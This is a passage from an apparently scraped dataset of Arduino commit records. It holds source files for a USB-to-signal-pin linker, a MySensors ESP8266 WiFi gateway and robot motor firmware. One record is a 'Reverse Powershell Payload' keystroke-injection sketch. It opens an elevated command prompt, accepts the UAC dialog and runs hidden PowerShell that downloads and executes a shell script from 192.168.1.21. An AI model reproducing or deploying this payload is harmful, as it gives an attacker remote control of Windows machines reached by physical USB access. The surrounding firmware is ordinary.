AUL_WRITE_PORT_INFO(I)\n #endif\n #if defined(PORTJ)\n AUL_WRITE_PORT_INFO(J)\n #endif\n #if defined(PORTK)\n AUL_WRITE_PORT_INFO(K)\n #endif\n #if defined(PORTL)\n AUL_WRITE_PORT_INFO(L)\n #endif\n \n #if defined(PORTA)\n AUL_WRITE_PORT_INFO(A)\n #endif\n \n *pos = '\\0';\n}\n\nstatic void SignalPinInit(int8_t pin)\n{\n #define AUL_SETUP_PORT(x) \\\n if (pin < (pincnt += 8)) \\\n { \\\n g_signalDDR = &DDR##x; \\\n g_signalPORT = &PORT##x; \\\n g_signalPIN = &PIN##x; \\\n g_signalPinPortNum = (1 << (pin - (pincnt - 8))); \\\n goto finished; \\\n }\n \n int8_t pincnt = 0;\n \n g_signalPinNum = pin;\n\n #if defined(PORTB)\n AUL_SETUP_PORT(B);\n #endif\n #if defined(PORTC)\n AUL_SETUP_PORT(C);\n #endif\n #if defined(PORTD)\n AUL_SETUP_PORT(D);\n #endif\n #if defined(PORTE)\n AUL_SETUP_PORT(E);\n #endif\n #if defined(PORTF)\n AUL_SETUP_PORT(F);\n #endif\n #if defined(PORTG)\n AUL_SETUP_PORT(G);\n #endif\n #if defined(PORTH)\n AUL_SETUP_PORT(H);\n #endif\n #if defined(PORTI)\n AUL_SETUP_PORT(I);\n #endif\n #if defined(PORTJ)\n AUL_SETUP_PORT(J);\n #endif\n #if defined(PORTK)\n AUL_SETUP_PORT(K);\n #endif\n #if defined(PORTL)\n AUL_SETUP_PORT(L);\n #endif\n \n #if defined(PORTA)\n AUL_SETUP_PORT(A);\n #endif\n\nfinished: \n AUL_PINHIGH; \/\/ Enable pull-up\n AUL_PININPUT;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SENDING on signal pin\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic void SendByte(uint8_t b)\n{\n uint8_t i;\n for (i = 1; i; i <<= 1)\n {\n if (b & i)\n {\n AUL_PINHIGH;\n AUL_DELAYTICKS(g_bitTimeSend);\n AUL_PINLOW;\n AUL_DELAYTICKS(g_bitTimeSend);\n }\n else\n {\n AUL_PINHIGH;\n AUL_DELAYTICKS(g_bitTimeSendHalf);\n AUL_PINLOW;\n AUL_DELAYTICKS(g_bitTimeSendHalf);\n AUL_PINHIGH;\n AUL_DELAYTICKS(g_bitTimeSendHalf);\n AUL_PINLOW;\n AUL_DELAYTICKS(g_bitTimeSendHalf);\n }\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ RECEIVE on signal pin\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#define AUL_SPINPINHIGH \\\n TCNT2 = 0; \\\n while (AUL_PINREAD) { if (TCNT2 > 250) goto timeout; }\n\n#define AUL_SPINPINLOW \\\n TCNT2 = 0; \\\n while (!AUL_PINREAD) { if (TCNT2 > 250) goto timeout; }\n\n#define AUL_NT_SPINPINHIGH \\\n while (AUL_PINREAD) { if (TCNT2 > 250) goto timeout; }\n\n#define AUL_NT_SPINPINLOW \\\n while (!AUL_PINREAD) { if (TCNT2 > 250) goto timeout; }\n\n#define AUL_READBIT \\\n AUL_SPINPINHIGH \\\n AUL_NT_SPINPINLOW \\\n if (TCNT2 <= g_shortBitTime) \\\n { \\\n AUL_SPINPINHIGH \\\n AUL_NT_SPINPINLOW \\\n b = 0; \\\n } \\\n else \\\n b = 1;\n\nstatic int8_t ReadLeader()\n{\n uint8_t i;\n \n \/\/ Skip the first few to let things stabilize\n for (i = 0; i < 9; i++)\n {\n AUL_SPINPINHIGH\n AUL_NT_SPINPINLOW\n }\n\n#ifndef AUL_FIXED_TIMING\n \/\/ Calculate timing from header\n AUL_SPINPINHIGH\n AUL_NT_SPINPINLOW\n g_bitTime = TCNT2;\n g_shortBitTime = (g_bitTime >> 1) + (g_bitTime >> 2);\n#else\n \/\/ Use fixed timing\n g_bitTime = g_bitTimeSend << 1;\n g_shortBitTime = g_bitTimeSend + g_bitTimeSendHalf;\n#endif\n\n \/\/ Read until we get a 0 bit\n while (1)\n {\n uint8_t b;\n AUL_READBIT \/\/ Sets b to the bit value\n \n if (!b)\n return 0;\n }\n\ntimeout:\n return -1;\n}\n\nstatic void SetBitTime(uint16_t t)\n{\n if (t < AUL_MIN_BITTIME)\n t = AUL_MIN_BITTIME;\n else if (t > AUL_MAX_BITTIME)\n t = AUL_MAX_BITTIME;\n\n if (t * (F_CPU \/ 1000000) < 242)\n {\n g_timerScale = 2;\n g_timerConfig = (1 << CS20);\n }\n else if (t * (F_CPU \/ 1000000) \/ 8 < 242)\n {\n g_timerScale = 16;\n g_timerConfig = (1 << CS21);\n }\n else if (t * (F_CPU \/ 1000000) \/ 32 < 242)\n {\n g_timerScale = 64;\n g_timerConfig = (1 << CS21) | (1 << CS20);\n }\n else\n {\n return; \/\/ invalid time, no change\n }\n\n g_bitTimeSend = AUL_MICROS_TO_TICKS(t);\n g_bitTimeSendHalf = (g_bitTimeSend >> 1);\n}\n\n#if !defined(MULTIWII)\nstatic uint32_t EERead32(int pos)\n{\n uint32_t value;\n ((char*)&value)[0] = EEPROM.read(pos);\n ((char*)&value)[1] = EEPROM.read(pos + 1);\n ((char*)&value)[2] = EEPROM.read(pos + 2);\n ((char*)&value)[3] = EEPROM.read(pos + 3);\n return value;\n}\n\nstatic void EEWrite32(int pos, uint32_t value)\n{\n EEPROM.write(pos, ((char*)&value)[0]);\n EEPROM.write(pos + 1, ((char*)&value)[1]);\n EEPROM.write(pos + 2, ((char*)&value)[2]);\n EEPROM.write(pos + 3, ((char*)&value)[3]);\n}\n#endif \/\/ !MULTIWII\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Main\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid AUL_loop(uint8_t port)\n{\n \/\/ Disable interrupts and timers\n cli();\n DisableAllTimers();\n \n #if defined(MULTIWII)\n #if defined(BUZZERPIN_OFF)\n BUZZERPIN_OFF;\n #endif\n #if defined(LEDPIN_OFF)\n LEDPIN_OFF;\n #endif\n #endif\n \n #if defined(MULTIWII)\n AUL_SerialInit(port);\n SetBitTime(AUL_DEFAULT_BITTIME);\n SignalPinInit(AUL_DEFAULT_PIN);\n #else\n if (EEPROM.read(0) != 'a' ||\n EEPROM.read(1) != 'u' ||\n EEPROM.read(2) != 'l')\n {\n EEPROM.write(0, 'a');\n EEPROM.write(1, 'u');\n EEPROM.write(2, 'l');\n EEPROM.write(3, 1); \/\/ version\n EEPROM.write(AUL_EEPROM_PIN, AUL_DEFAULT_PIN);\n EEPROM.write(AUL_EEPROM_BITTIME, AUL_DEFAULT_BITTIME);\n EEWrite32(AUL_EEPROM_BAUD, AUL_SERIALRATE);\n }\n\n SignalPinInit(EEPROM.read(AUL_EEPROM_PIN)); \n SetBitTime(EEPROM.read(AUL_EEPROM_BITTIME));\n\n g_baudRate = EERead32(AUL_EEPROM_BAUD);\n AUL_SerialInit(port);\n \n sei(); \/\/ Re-enable interrupts for Serial\n #endif\n\n \/\/ Set timer2 to count ticks\n AUL_SET_TIMER_MODE;\n\n \/\/ The buffer always has the leader at the start\n uint8_t buf[AUL_BUFSIZE] = { 0xFF, 0xFF, 0x7F };\n uint8_t lastPin = 0;\n int16_t buflen, i;\n\n while (1)\n {\n if (AUL_SerialAvailable())\n {\n buflen = 3;\n buf[buflen++] = AUL_SerialRead();\n \n \/\/ Temporarily set timer2 to count ticks\/128\n#if defined(__AVR_ATmega8__)\n TCCR2 = (1 << CS22) | (1 << CS20); \n#else\n TCCR2B = (1 << CS22) | (1 << CS20); \n#endif\n AUL_SYNC_PRESCALER;\n TCNT2 = 0; \n \/\/ Buffer data until the serial timeout\n do {\n if (AUL_SerialAvailable())\n {\n buf[buflen++] = AUL_SerialRead();\n TCNT2 = 0;\n }\n } while (TCNT2 < AUL_SERIALTIMEOUT);\n \n \/\/ Set timer2 back to normal\n AUL_SET_TIMER_MODE;\n \n if (buf[3] == '$' && buf[4] == 'M' && buf[5] == '<')\n {\n#if !defined(MULTIWII)\n int8_t setbaud = 0;\n#endif\n\n buf[buflen] = '\\0';\n \n switch(buf[6])\n {\n case 'B': { \/\/ BITTIME\n SetBitTime(AUL_atoi((const char*)&buf[7]));\n break; }\n case 'P': \/\/ SELECT PORT\n SignalPinInit(AUL_atoi((const char*)&buf[7]));\n break;\n#if !defined(MULTIWII)\n case 'R': \/\/ BAUD RATE\n g_baudRate = AUL_atoi((const char*)&buf[7]);\n\n if (g_baudRate < 9600)\n g_baudRate = 9600;\n\n setbaud = 1;\n break;\n case 'W': \/\/ WRITE EEPROM settings\n EEPROM.write(AUL_EEPROM_PIN, g_signalPinNum);\n EEPROM.write(AUL_EEPROM_BITTIME, AUL_MICROS_TO_TICKS_R(g_bitTimeSend));\n EEWrite32(AUL_EEPROM_BAUD, g_baudRate);\n AUL_SerialWriteStr(\"saved:\");\n break;\n#endif \/\/ !MULTIWII\n default:\n break;\n }\n \n \/\/ Send status afterwards\n char* pos = (char*)&buf[3];\n *pos++ = 'P';\n pos = AUL_itoa(g_signalPinNum, pos);\n pos[0] = ':';\n pos[1] = 'B';\n pos += 2;\n pos = AUL_itoa(AUL_MICROS_TO_TICKS_R(g_bitTimeSend), pos);\n pos[0] = ':';\n pos[1] = 'R';\n pos += 2;\n pos = AUL_itoa(g_baudRate, pos);\n *pos++ = ':';\n \n SignalPinStatus(pos);\n \n AUL_SerialWriteStr((const char*)&buf[3]);\n AUL_SerialWrite('\\n');\n \n#if !defined(MULTIWII)\n if (setbaud)\n {\n \/\/ Arduino Serial.flush does not work correctly\n Serial.flush();\n \n \/\/ Temporarily set timer2 to count ticks\/128\n#if defined(__AVR_ATmega8__)\n TCCR2 = (1 << CS22) | (1 << CS20); \n#else\n TCCR2B = (1 << CS22) | (1 << CS20); \n#endif\n AUL_DELAYTICKS(AUL_SERIALTIMEOUT);\n AUL_DELAYTICKS(AUL_SERIALTIMEOUT);\n AUL_SET_TIMER_MODE;\n \n AUL_SerialInit(port);\n }\n#endif \/\/ !MULTIWII\n }\n else\n {\n AUL_PINOUTPUT;\n AUL_SYNC_PRESCALER;\n\n \/\/ Send data over signal pin\n for (i = 0; i < buflen; i++)\n SendByte(buf[i]);\n \n \/\/ Trailer\n AUL_PINHIGH;\n AUL_DELAYTICKS(g_bitTimeSendHalf);\n\n AUL_PININPUT; \/\/ Pull-up is enabled from previous PINHIGH\n lastPin = 1;\n }\n }\n else\n {\n \/\/ Here we look for a low to high transition on the signal pin\n uint8_t curPin = AUL_PINREAD;\n \n if (!lastPin && curPin)\n {\n AUL_SYNC_PRESCALER;\n \n \/\/ Buffer data from signal pin then write to serial port\n if (ReadLeader() == 0)\n {\n uint8_t i, byt, b;\n buflen = 3;\n \n \/\/ Read bytes until timeout\n while (1)\n {\n for (i = 0, byt = 0; i < 8; i++)\n {\n AUL_READBIT \/\/ Sets b to the bit value\n byt |= b << i;\n }\n \n buf[buflen++] = byt;\n }\n\ntimeout:\n AUL_SerialWriteBuf(&buf[3], buflen - 3);\n }\n }\n\n lastPin = curPin;\n }\n }\n}\n\n#if !defined(MULTIWII)\n\nint main(int argc, char* argv[])\n{\n AUL_loop(0);\n return 0;\n}\n\n#endif \/\/ !MULTIWII\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/ArduinoUSBLinker\/ArduinoUSBLinker.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1a359222d163a47991694f4fa89c03125393df3b","subject":"Added Reverse Powershell Payload for Windows 7","message":"Added Reverse Powershell Payload for Windows 7\n","repos":"christofersimbar\/ArduinoDuckyScript","old_file":"ReversePowershell_Payload\/ReversePowershell_Payload.ino","new_file":"ReversePowershell_Payload\/ReversePowershell_Payload.ino","new_contents":"\/\/ Reverse Powershell Payload\n\/\/ Target OS: Windows 7\n\n#include <Keyboard.h>\n#include <HID.h>\n\n\/\/ Init function\nvoid setup()\n{\n \/\/ Start Keyboard\n Keyboard.begin();\n\n delay(2000);\n\n \/\/ Start Payload\n Keyboard.press(KEY_LEFT_CTRL);\n delay(1000);\n Keyboard.press(KEY_ESC);\n delay(1000);\n Keyboard.releaseAll();\n\n \/\/ type CMD\n Keyboard.print(\"cmd\");\n\n Keyboard.press(KEY_LEFT_CTRL);\n delay(1000);\n Keyboard.press(KEY_LEFT_SHIFT);\n delay(1000);\n Keyboard.press(KEY_RETURN);\n delay(1000);\n Keyboard.releaseAll();\n delay(500);\n\n \/\/ klik \"Yes\"\n Keyboard.press(KEY_LEFT_ALT);\n delay(1000);\n Keyboard.press('y');\n delay(1000);\n Keyboard.releaseAll();\n delay(1000);\n\n \/\/ execute reverse shell payload with powershell \n Keyboard.print(\"powershell -windowstyle hidden \\\"[system.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true };IEX (New-Object Net.WebClient).DownloadString('http:\/\/192.168.1.21\/shell.txt')\\\"\");\n typeKey(KEY_RETURN);\n\n \/\/ End Payload\n\n \/\/ Stop Keyboard\n Keyboard.end();\n}\n\n\/\/ Unused\nvoid loop() {}\n\n\/\/ Utility function\nvoid typeKey(int key){\n Keyboard.press(key);\n delay(500);\n Keyboard.release(key);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ReversePowershell_Payload\/ReversePowershell_Payload.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"255c406e214c9a41579a380c7438c8b2790c34bd","subject":"ALL THE PRONOUNS","message":"ALL THE PRONOUNS\n","repos":"rosalindfdt\/huzzahbadge,rosalindfdt\/huzzahbadge,rosalindfdt\/huzzahbadge,rosalindfdt\/huzzahbadge","old_file":"subject_object_possessive\/subject_object_possessive.ino","new_file":"subject_object_possessive\/subject_object_possessive.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rosalindfdt\/huzzahbadge.git\/'\n","license":"artistic-2.0","lang":"Arduino"} {"commit":"2891683f6877e8b5cbb6a0412e90fee643d6c4db","subject":"Added files via upload","message":"Added files via upload","repos":"diving91\/MySensors-Network-Gateway-with-Wemos-D1-mini","old_file":"Software\/Esp8266Gateway.ino","new_file":"Software\/Esp8266Gateway.ino","new_contents":"\/\/ Wemos D1 mini 160Mhz, Serial, 115200, 4M(3M SPIFFS), COMx\n\/\/ Build with MySensors lib 1.5.4\n\/\/ Build with ESP core lib 1.6.5-947-g39819f0\n\n\/**\n * The MySensors Arduino library handles the wireless radio link and protocol\n * between your home built sensors\/actuators and HA controller of choice.\n * The sensors forms a self healing radio network with optional repeaters. Each\n * repeater and gateway builds a routing tables in EEPROM which keeps track of the\n * network topology allowing messages to be routed to nodes.\n *\n * Created by Henrik Ekblad <henrik.ekblad@mysensors.org>\n * Copyright (C) 2013-2015 Sensnology AB\n * Full contributor list: https:\/\/github.com\/mysensors\/Arduino\/graphs\/contributors\n *\n * Documentation: http:\/\/www.mysensors.org\n * Support Forum: http:\/\/forum.mysensors.org\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * version 2 as published by the Free Software Foundation.\n *\n *******************************\n *\n * REVISION HISTORY\n * Version 1.0 - Henrik EKblad\n * Contribution by a-lurker and Anticimex, \n * Contribution by Norbert Truchsess <norbert.truchsess@t-online.de>\n * Contribution by Ivo Pullens (ESP8266 support)\n * \n * DESCRIPTION\n * The EthernetGateway sends data received from sensors to the WiFi link. \n * The gateway also accepts input on ethernet interface, which is then sent out to the radio network.\n *\n * VERA CONFIGURATION:\n * Enter \"ip-number:port\" in the ip-field of the Arduino GW device. This will temporarily override any serial configuration for the Vera plugin. \n * E.g. If you want to use the defualt values in this sketch enter: 192.168.178.66:5003\n *\n * LED purposes:\n * - To use the feature, uncomment WITH_LEDS_BLINKING in MyConfig.h\n * - RX (green) - blink fast on radio message recieved. In inclusion mode will blink fast only on presentation recieved\n * - TX (yellow) - blink fast on radio message transmitted. In inclusion mode will blink slowly\n * - ERR (red) - fast blink on error during transmission error or recieve crc error \n * \n * See http:\/\/www.mysensors.org\/build\/ethernet_gateway for wiring instructions.\n * The ESP8266 however requires different wiring:\n * nRF24L01+ ESP8266\n * VCC VCC\n * CE GPIO4 \n * CSN\/CS GPIO15\n * SCK GPIO14\n * MISO GPIO12\n * MOSI GPIO13\n * \n * Not all ESP8266 modules have all pins available on their external interface.\n * This code has been tested on an ESP-12 module.\n * The ESP8266 requires a certain pin configuration to download code, and another one to run code:\n * - Connect REST (reset) via 10K pullup resistor to VCC, and via switch to GND ('reset switch')\n * - Connect GPIO15 via 10K pulldown resistor to GND\n * - Connect CH_PD via 10K resistor to VCC\n * - Connect GPIO2 via 10K resistor to VCC\n * - Connect GPIO0 via 10K resistor to VCC, and via switch to GND ('bootload switch')\n * \n * Inclusion mode button:\n * - Connect GPIO5 via switch to GND ('inclusion switch')\n * \n * Hardware SHA204 signing is currently not supported!\n *\n * Make sure to fill in your ssid and WiFi password below for ssid & pass.\n *\/\n#define NO_PORTB_PINCHANGES \n\n#include <SPI.h> \n\n#include <MySigningNone.h> \n#include <MySigningAtsha204Soft.h>\n#include <MyTransportNRF24.h>\n#include <MyTransportRFM69.h>\n#include <EEPROM.h>\n#include <MyHwESP8266.h>\n#include <ESP8266WiFi.h>\n\n#include <MyParserSerial.h> \n#include <MySensor.h> \n#include <stdarg.h>\n#include \"GatewayUtil.h\"\n\n\/\/Adapt to your network\nconst char *ssid = \"mySSID\"; \/\/ cannot be longer than 32 characters!\nconst char *pass = \"myPWD\"; \/\/\n\n#define INCLUSION_MODE_TIME 1 \/\/ Number of minutes inclusion mode is enabled\n#define INCLUSION_MODE_PIN 5 \/\/ Digital pin used for inclusion mode button -> HSU D1 pin\n\n#define RADIO_CE_PIN 4 \/\/ radio chip enable ->hsu number refer to gpio pin number ie D2 pin\n#define RADIO_SPI_SS_PIN 15 \/\/ radio SPI serial select -> HSU D8 pin\n\n\n#ifdef WITH_LEDS_BLINKING\n#define RADIO_ERROR_LED_PIN BUILTIN_LED \/\/ Error led pin\n#define RADIO_RX_LED_PIN BUILTIN_LED \/\/ Receive led pin\n#define RADIO_TX_LED_PIN BUILTIN_LED \/\/ the PCB, on board LED\n#endif\n\n\n\/\/ NRFRF24L01 radio driver (set low transmit power by default) \nMyTransportNRF24 transport(RADIO_CE_PIN, RADIO_SPI_SS_PIN, RF24_PA_LEVEL_GW);\n\/\/MyTransportRFM69 transport;\n\n\n\/\/ Message signing driver (signer needed if MY_SIGNING_FEATURE is turned on in MyConfig.h)\n#ifdef MY_SIGNING_FEATURE\nMySigningNone signer;\n\/\/MySigningAtsha204Soft signer;\n#endif\n\n\/\/ Hardware profile \nMyHwESP8266 hw;\n\n\/\/ Construct MySensors library (signer needed if MY_SIGNING_FEATURE is turned on in MyConfig.h)\n\/\/ To use LEDs blinking, uncomment WITH_LEDS_BLINKING in MyConfig.h\nMySensor gw(transport, hw\n#ifdef MY_SIGNING_FEATURE\n , signer\n#endif\n#ifdef WITH_LEDS_BLINKING\n , RADIO_RX_LED_PIN, RADIO_TX_LED_PIN, RADIO_ERROR_LED_PIN\n#endif\n );\n \n\n#define IP_PORT 5003 \/\/ The port you want to open \n#define MAX_SRV_CLIENTS 3 \/\/ how many clients should be able to telnet to this ESP8266 - ie 2 JEEDOM + 1 Telnet\n\n\/\/ a R\/W server on the port\nstatic WiFiServer server(IP_PORT);\nstatic WiFiClient clients[MAX_SRV_CLIENTS];\nstatic bool clientsConnected[MAX_SRV_CLIENTS];\nstatic inputBuffer inputString[MAX_SRV_CLIENTS];\n\n#define ARRAY_SIZE(x) (sizeof(x)\/sizeof(x[0]))\n\nvoid output(const char *fmt, ... ) {\n\tchar serialBuffer[MAX_SEND_LENGTH];\n\tva_list args;\n\tva_start (args, fmt );\n\tvsnprintf_P(serialBuffer, MAX_SEND_LENGTH, fmt, args);\n\tva_end (args);\n\tSerial.print(serialBuffer);\n\tfor (uint8_t i = 0; i < ARRAY_SIZE(clients); i++) {\n\t\tif (clients[i] && clients[i].connected()) {\n\/\/\t\t\tSerial.print(\"Client \"); Serial.print(i); Serial.println(\" write\");\n\t\t\tclients[i].write((uint8_t*)serialBuffer, strlen(serialBuffer));\n\t\t}\n\t}\n}\n\n\/\/ HSU To display MAC Address\nuint8_t MAC_array[6];\nchar MAC_char[18];\n\nvoid setup() { \n\t\/\/ Setup console\n\thw_init();\n\tSerial.begin(115200);\n\tSerial.println(); Serial.println();\n\tSerial.println(\"ESP8266 MySensors Gateway\");\n\tSerial.print(\"Connecting to \"); Serial.println(ssid);\n\n\t(void)WiFi.begin(ssid, pass);\n\t\/\/ HSU Addition to disable AP and display MAC address\n\tWiFi.mode(WIFI_STA);\n\tWiFi.macAddress(MAC_array);\n\tSerial.print(\"MAC Address = \");\n\tfor (int i = 0; i < sizeof(MAC_array); ++i){\n\t\tsprintf(MAC_char,\"%s%02x:\",MAC_char,MAC_array[i]);\n\t}\n\tSerial.println(MAC_char); \/\/- See more at: http:\/\/www.esp8266.com\/viewtopic.php?f=29&t=3587\n\t\/\/ End HSU\n\t\n\twhile (WiFi.status() != WL_CONNECTED) {\n\t\tdelay(500);\n\t\tSerial.print(\".\");\n\t}\n\tSerial.println(\"Connected!\");\n\tSerial.print(\"IP: \"); Serial.println(WiFi.localIP());\n\tSerial.println(); Serial.println(); \/\/HSU\n\tSerial.flush();\n \n\tsetupGateway(INCLUSION_MODE_PIN, INCLUSION_MODE_TIME, output);\n\n\t\/\/ Initialize gateway at maximum PA level, channel 70 and callback for write operations \n\tgw.begin(incomingMessage, 0, true, 0);\n \n\t\/\/ start listening for clients\n\tserver.begin();\n\tserver.write(\"0;0;3;0;2;\");server.write(LIBRARY_VERSION); \/\/HSU needed for Jeedom plugin\n\tserver.setNoDelay(true); \n}\n\nvoid loop() {\n\tgw.process(); \n \n\tcheckButtonTriggeredInclusion();\n\tcheckInclusionFinished();\n\n\t\/\/ Go over list of clients and stop any that are no longer connected.\n\t\/\/ If the server has a new client connection it will be assigned to a free slot.\n\tbool allSlotsOccupied = true;\n\tfor (uint8_t i = 0; i < ARRAY_SIZE(clients); i++){\n\t\tif (!clients[i].connected()) {\n\t\t\tif (clientsConnected[i]) {\n\t\t\t\tSerial.print(\"Client \"); Serial.print(i); Serial.println(\" disconnected\");\n\t\t\t\tclients[i].stop();\n\t\t\t}\n\t\t\t\/\/check if there are any new clients\n\t\t\tif (server.hasClient()) {\n\t\t\t\tclients[i] = server.available();\n\t\t\t\tinputString[i].idx = 0;\n\t\t\t\tSerial.print(\"Client \"); Serial.print(i); Serial.println(\" connected\"); \n\t\t\t\toutput(PSTR(\"0;0;%d;0;%d;Gateway startup complete.\\n\"), C_INTERNAL, I_GATEWAY_READY);\n\t\t\t}\n\t\t}\n\t\tbool connected = clients[i].connected();\n\t\tclientsConnected[i] = connected;\n\t\tallSlotsOccupied &= connected;\n\t}\n\tif (allSlotsOccupied && server.hasClient()){\n\t\t\/\/no free\/disconnected spot so reject\n\t\tSerial.println(\"No free slot available\");\n\t\tWiFiClient c = server.available();\n\t\tc.stop();\n\t}\n \n\t\/\/ Loop over clients connect and read available data\n\tfor (uint8_t i = 0; i < ARRAY_SIZE(clients); i++){\n\t\twhile(clients[i].connected() && clients[i].available()){\n\t\t\tchar inChar = clients[i].read();\n\t\t\tif ( inputString[i].idx < MAX_RECEIVE_LENGTH - 1 ){ \n\t\t\t\t\/\/ if newline then command is complete\n\t\t\t\tif (inChar == '\\n'){ \n\t\t\t\t\t\/\/ a command was issued by the client\n\t\t\t\t\t\/\/ we will now try to send it to the actuator\n\t\t\t\t\tinputString[i].string[inputString[i].idx] = 0;\n \n\t\t\t\t\t\/\/ echo the string to the serial port\n\t\t\t\t\tSerial.print(\"Client \"); Serial.print(i); Serial.print(\": \"); Serial.println(inputString[i].string);\n \n\t\t\t\t\tparseAndSend(gw, inputString[i].string);\n \n\t\t\t\t\t\/\/ clear the string:\n\t\t\t\t\tinputString[i].idx = 0;\n\t\t\t\t\t\/\/ Finished with this client's message. Next loop() we'll see if there's more to read.\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\telse { \n\t\t\t\t\t\/\/ add it to the inputString:\n\t\t\t\t\tinputString[i].string[inputString[i].idx++] = inChar;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\t\/\/ Incoming message too long. Throw away \n\t\t\t\tSerial.print(\"Client \"); Serial.print(i); Serial.println(\": Message too long\");\n\t\t\t\tinputString[i].idx = 0;\n\t\t\t\t\/\/ Finished with this client's message. Next loop() we'll see if there's more to read.\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Software\/Esp8266Gateway.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"88c48f14757948ca71f5e66458ade9687020bf1c","subject":"Added firmware for testing robot","message":"Added firmware for testing robot\n","repos":"ScifestJoensuu\/theater-robot,ScifestJoensuu\/theater-robot,ScifestJoensuu\/theater-robot,ScifestJoensuu\/theater-robot,ScifestJoensuu\/theater-robot,ScifestJoensuu\/theater-robot,ScifestJoensuu\/theater-robot,ScifestJoensuu\/theater-robot,ScifestJoensuu\/theater-robot","old_file":"RobotFirmware\/TestingRobot\/TestingRobot.ino","new_file":"RobotFirmware\/TestingRobot\/TestingRobot.ino","new_contents":"#include <SoftwareSerial.h>\n\nSoftwareSerial mySerial(52, 53);\n\n#include <AFMotor.h>\n\nAF_DCMotor m_left(4);\nAF_DCMotor m_right(1);\n\nint MAX_LEFT = 250;\nint MAX_RIGHT = 250;\n\nint ledpin = 13;\nString cmd;\nboolean stringComplete = false;\n\nvoid setup() {\n pinMode(ledpin, OUTPUT);\n \n set_speed(50);\n stop_motors();\n \n Serial.begin(9600);\n Serial.println(\"start\");\n\n mySerial.begin(9600);\n mySerial.println(\"i'm ready\");\n}\n\nvoid loop(){\n if(mySerial.available()) {\n cmd = \"\";\n while(mySerial.available() > 0) {\n char inChar = (char)mySerial.read();\n if (inChar == '\\n' || inChar == '\\r' || inChar == '|') {\n stringComplete = true;\n cmd += \"\\0\";\n } else {\n cmd += inChar;\n }\n }\n Serial.println(cmd);\n if(cmd.startsWith(\"led_on\")) {\n Serial.println(\"Led on\");\n digitalWrite(ledpin, HIGH);\n } else if(cmd.startsWith(\"led_off\")) {\n Serial.println(\"Led off\");\n digitalWrite(ledpin, LOW);\n } else if(cmd.startsWith(\"drive_fwd\")) {\n int fst_colon = cmd.indexOf(\":\");\n int sec_colon = cmd.indexOf(\":\", fst_colon+1);\n if(fst_colon != -1 && sec_colon != -1) {\n int time = (cmd.substring(fst_colon+1, sec_colon)).toInt();\n int pwr = (cmd.substring(sec_colon+1)).toInt();\n Serial.print(\"Driving fwd for \");\n Serial.print(time);\n Serial.print(\"ms with \");\n Serial.print(pwr);\n Serial.println(\" power\");\n \n set_speed(pwr);\n drive_fwd();\n delay(time);\n stop_motors();\n }\n } else if(cmd.startsWith(\"drive_bwd\")) {\n int fst_colon = cmd.indexOf(\":\");\n int sec_colon = cmd.indexOf(\":\", fst_colon+1);\n if(fst_colon != -1 && sec_colon != -1) {\n int time = (cmd.substring(fst_colon+1, sec_colon)).toInt();\n int pwr = (cmd.substring(sec_colon+1)).toInt();\n Serial.print(\"Driving bwd for \");\n Serial.print(time);\n Serial.print(\"ms with \");\n Serial.print(pwr);\n Serial.println(\" power\");\n \n set_speed(pwr);\n drive_bwd();\n delay(time);\n stop_motors();\n }\n } else if(cmd.startsWith(\"turn_right\")) {\n int fst_colon = cmd.indexOf(\":\");\n int sec_colon = cmd.indexOf(\":\", fst_colon+1);\n if(fst_colon != -1 && sec_colon != -1) {\n int time = (cmd.substring(fst_colon+1, sec_colon)).toInt();\n int pwr = (cmd.substring(sec_colon+1)).toInt();\n Serial.print(\"Turn right for \");\n Serial.print(time);\n Serial.print(\"ms with \");\n Serial.print(pwr);\n 